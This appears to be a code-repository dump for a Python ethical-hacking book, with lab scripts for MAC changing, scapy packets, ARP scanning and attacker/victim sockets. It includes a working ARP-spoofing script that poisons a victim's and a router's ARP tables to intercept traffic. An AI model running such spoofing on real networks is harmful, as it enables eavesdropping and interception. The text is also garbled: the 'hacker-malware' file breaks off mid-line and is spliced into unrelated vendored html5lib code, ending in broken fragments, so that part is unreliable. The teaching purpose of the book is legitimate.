Fahad is particularly enthusiastic about Python for its simplicity and ease of use and in this book he has chosen it as a language of preference due to its features.
### Download a free PDF
If you have already purchased a print or Kindle version of this book, you can get a DRM-free PDF version at no cost.
Simply click on the link to claim your free PDF.
https://packt.link/free-ebook/9781838829506
================================================ FILE: example01-mac-changer/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example01-mac-changer/m1-mac-changer.py.py ================================================ import subprocess if __name__ == "__main__": interface = "eth0" new_mac = "22:11:22:33:44:57" print("Shutting down the interface") subprocess.run(["ifconfig", "eth0", "down"]) print("changing the interface hw address of ", interface, " to ", new_mac) subprocess.run(["ifconfig", interface, "hw", "ether", new_mac]) print("MAC address changed to ", new_mac) subprocess.run(["ifconfig", interface, "up"]) print("network interfaced turned on") ================================================ FILE: example02-scapy-introduction/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example02-scapy-introduction/m1-ICMP-scapy.py ================================================ from scapy.all import ICMP from scapy.all import IP from scapy.all import sr1 if __name__ == "__main__": src_ip = "192.168.74.128" dest_ip = "www.google.com" ip_layer = IP(src = src_ip, dst = dest_ip) icmp_req = ICMP(id=100) packet = ip_layer / icmp_req response = sr1(packet, iface="eth0") if response: print(response.show()) ================================================ FILE: example02-scapy-introduction/m2-scapy-function.py ================================================ from scapy.all import ICMP from scapy.all import IP from scapy.all import sr1 from scapy.all import ls if __name__ == "__main__": dest_ip = "www.google.com" ip_layer = IP(dst = dest_ip) print(ls(ip_layer)) # displaying complete layer info # accessing the fields print("Destination = ", ip_layer.dst) print("Summary = ",ip_layer.summary()) ================================================ FILE: example02-scapy-introduction/requirements.txt ================================================ astroid==2.4.2 isort==5.7.0 lazy-object-proxy==1.4.3 mccabe==0.6.1 pylint==2.6.0 scapy==2.4.4 six==1.15.0 toml==0.10.2 wrapt==1.12.1 ================================================ FILE: example03-arp-scanner/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example03-arp-scanner/m1-arp-scanner.py.py ================================================ from scapy.all import Ether, ARP, srp if __name__ == "__main__": broadcast = "FF:FF:FF:FF:FF:FF" ether_layer = Ether(dst = broadcast) ip_range = "192.168.74.1/24" arp_layer = ARP(pdst = ip_range) packet = ether_layer / arp_layer ans, unans = srp(packet, iface = "eth0", timeout=2) for snd, rcv in ans: ip = rcv[ARP].psrc mac = rcv[Ether].src print("IP = ", ip, " MAC = ", mac) ================================================ FILE: example04-arpspoof/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example04-arpspoof/main.py ================================================ from scapy.all import * import time def spoof_victim(): arp_response = ARP() arp_response.op = 2 arp_response.pdst = "192.168.74.129" arp_response.hwdst = "00:0C:29:BE:47:14" arp_response.hwsrc = "00:0c:29:90:79:02" arp_response.psrc = "192.168.74.2" send(arp_response) def spoof_router(): arp_response = ARP() arp_response.op = 2 arp_response.pdst = "192.168.74.2" arp_response.hwdst = "00:50:56:ff:74:8b" arp_response.hwsrc = "00:0c:29:90:79:02" arp_response.psrc = "192.168.74.129" send(arp_response) def restore(): # restoring router table arp_response = ARP() arp_response.op = 2 arp_response.pdst = "192.168.74.2" arp_response.hwdst = "00:50:56:ff:74:8b" arp_response.hwsrc = "00:0C:29:BE:47:14" arp_response.psrc = "192.168.74.129" send(arp_response) #restoring windows table arp_response = ARP() arp_response.op = 2 arp_response.pdst = "192.168.74.129" arp_response.hwdst = "00:0C:29:BE:47:14" arp_response.hwsrc = "00:50:56:ff:74:8b" arp_response.psrc = "192.168.74.2" send(arp_response) if __name__ == "__main__": try: while True: spoof_victim() spoof_router() time.sleep(2) except KeyboardInterrupt as err: print("restoring ARP") restore() print("exiting") ================================================ FILE: example05-sslstrip/bettercap ================================================ [File too large to display: 23.8 MB] ================================================ FILE: example05-sslstrip/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example06-introduction_to_sockets/.vscode/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example06-introduction_to_sockets/.vscode/settings.json ================================================ { "python.pythonPath": "/home/kali/packt-book-code/example-6-introduction_to_sockets/venv/bin/python3.9" } ================================================ FILE: example06-introduction_to_sockets/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example06-introduction_to_sockets/main.py ================================================ import socket if __name__ == "__main__": hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) IP = "192.168.74.128" Port = 8008 socket_address = (IP, Port) hacker_socket.bind(socket_address) hacker_socket.listen(5) print("listening for incoming connection requests") hacker_socket, client_address = hacker_socket.accept() message = "Message from hacker" message_bytes = message.encode() hacker_socket.send(message_bytes) print("Message sent from hacker") hacker_socket.close() ================================================ FILE: example07-socket-client/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example07-socket-client/victim.py ================================================ import socket if __name__ == "__main__": victim_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) hacker_IP = "192.168.74.128" hacker_port = 8008 hacker_address = (hacker_IP, hacker_port) victim_socket.connect(hacker_address) data = victim_socket.recv(1024) print(data.decode()) victim_socket.close() ================================================ FILE: example08-hacker-malware/desktop.ini ================================================ [.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files\Google\Drive\googledrivesync.exe IconIndex=16 ================================================ FILE: example08-hacker-malware/hacker.py ================================================ import socket IDENTIFIER = "optgroup
# element, or if there is no more content in the parent
# element.
if type == "StartTag":
return next["name"] in ('option', 'optgroup')
else:
return type == "EndTag" or type is None
elif tagname in ('rt', 'rp'):
# An rt element's end tag may be omitted if the rt element is
# immediately followed by an rt or rp element, or if there is
# no more content in the parent element.
# An rp element's end tag may be omitted if the rp element is
# immediately followed by an rt or rp element, or if there is
# no more content in the parent element.
if type == "StartTag":
return next["name"] in ('rt', 'rp')
else:
return type == "EndTag" or type is None
elif tagname == 'colgroup':
# A colgroup element's end tag may be omitted if the colgroup
# element is not immediately followed by a space character or
# a comment.
if type in ("Comment", "SpaceCharacters"):
return False
elif type == "StartTag":
# XXX: we also look for an immediately following colgroup
# element. See is_optional_start.
return next["name"] != 'colgroup'
else:
return True
elif tagname in ('thead', 'tbody'):
# A thead element's end tag may be omitted if the thead element
# is immediately followed by a tbody or tfoot element.
# A tbody element's end tag may be omitted if the tbody element
# is immediately followed by a tbody or tfoot element, or if
# there is no more content in the parent element.
# A tfoot element's end tag may be omitted if the tfoot element
# is immediately followed by a tbody element, or if there is no
# more content in the parent element.
# XXX: we never omit the end tag when the following element is
# a tbody. See is_optional_start.
if type == "StartTag":
return next["name"] in ['tbody', 'tfoot']
elif tagname == 'tbody':
return type == "EndTag" or type is None
else:
return False
elif tagname == 'tfoot':
# A tfoot element's end tag may be omitted if the tfoot element
# is immediately followed by a tbody element, or if there is no
# more content in the parent element.
# XXX: we never omit the end tag when the following element is
# a tbody. See is_optional_start.
if type == "StartTag":
return next["name"] == 'tbody'
else:
return type == "EndTag" or type is None
elif tagname in ('td', 'th'):
# A td element's end tag may be omitted if the td element is
# immediately followed by a td or th element, or if there is
# no more content in the parent element.
# A th element's end tag may be omitted if the th element is
# immediately followed by a td or th element, or if there is
# no more content in the parent element.
if type == "StartTag":
return next["name"] in ('td', 'th')
else:
return type == "EndTag" or type is None
return False
================================================
FILE: example12-password-cracking/venv/Lib/site-packages/pip/_vendor/html5lib/filters/sanitizer.py
================================================
"""Deprecated from html5lib 1.1.
See `here This is a doc
')This is a doc
'),, and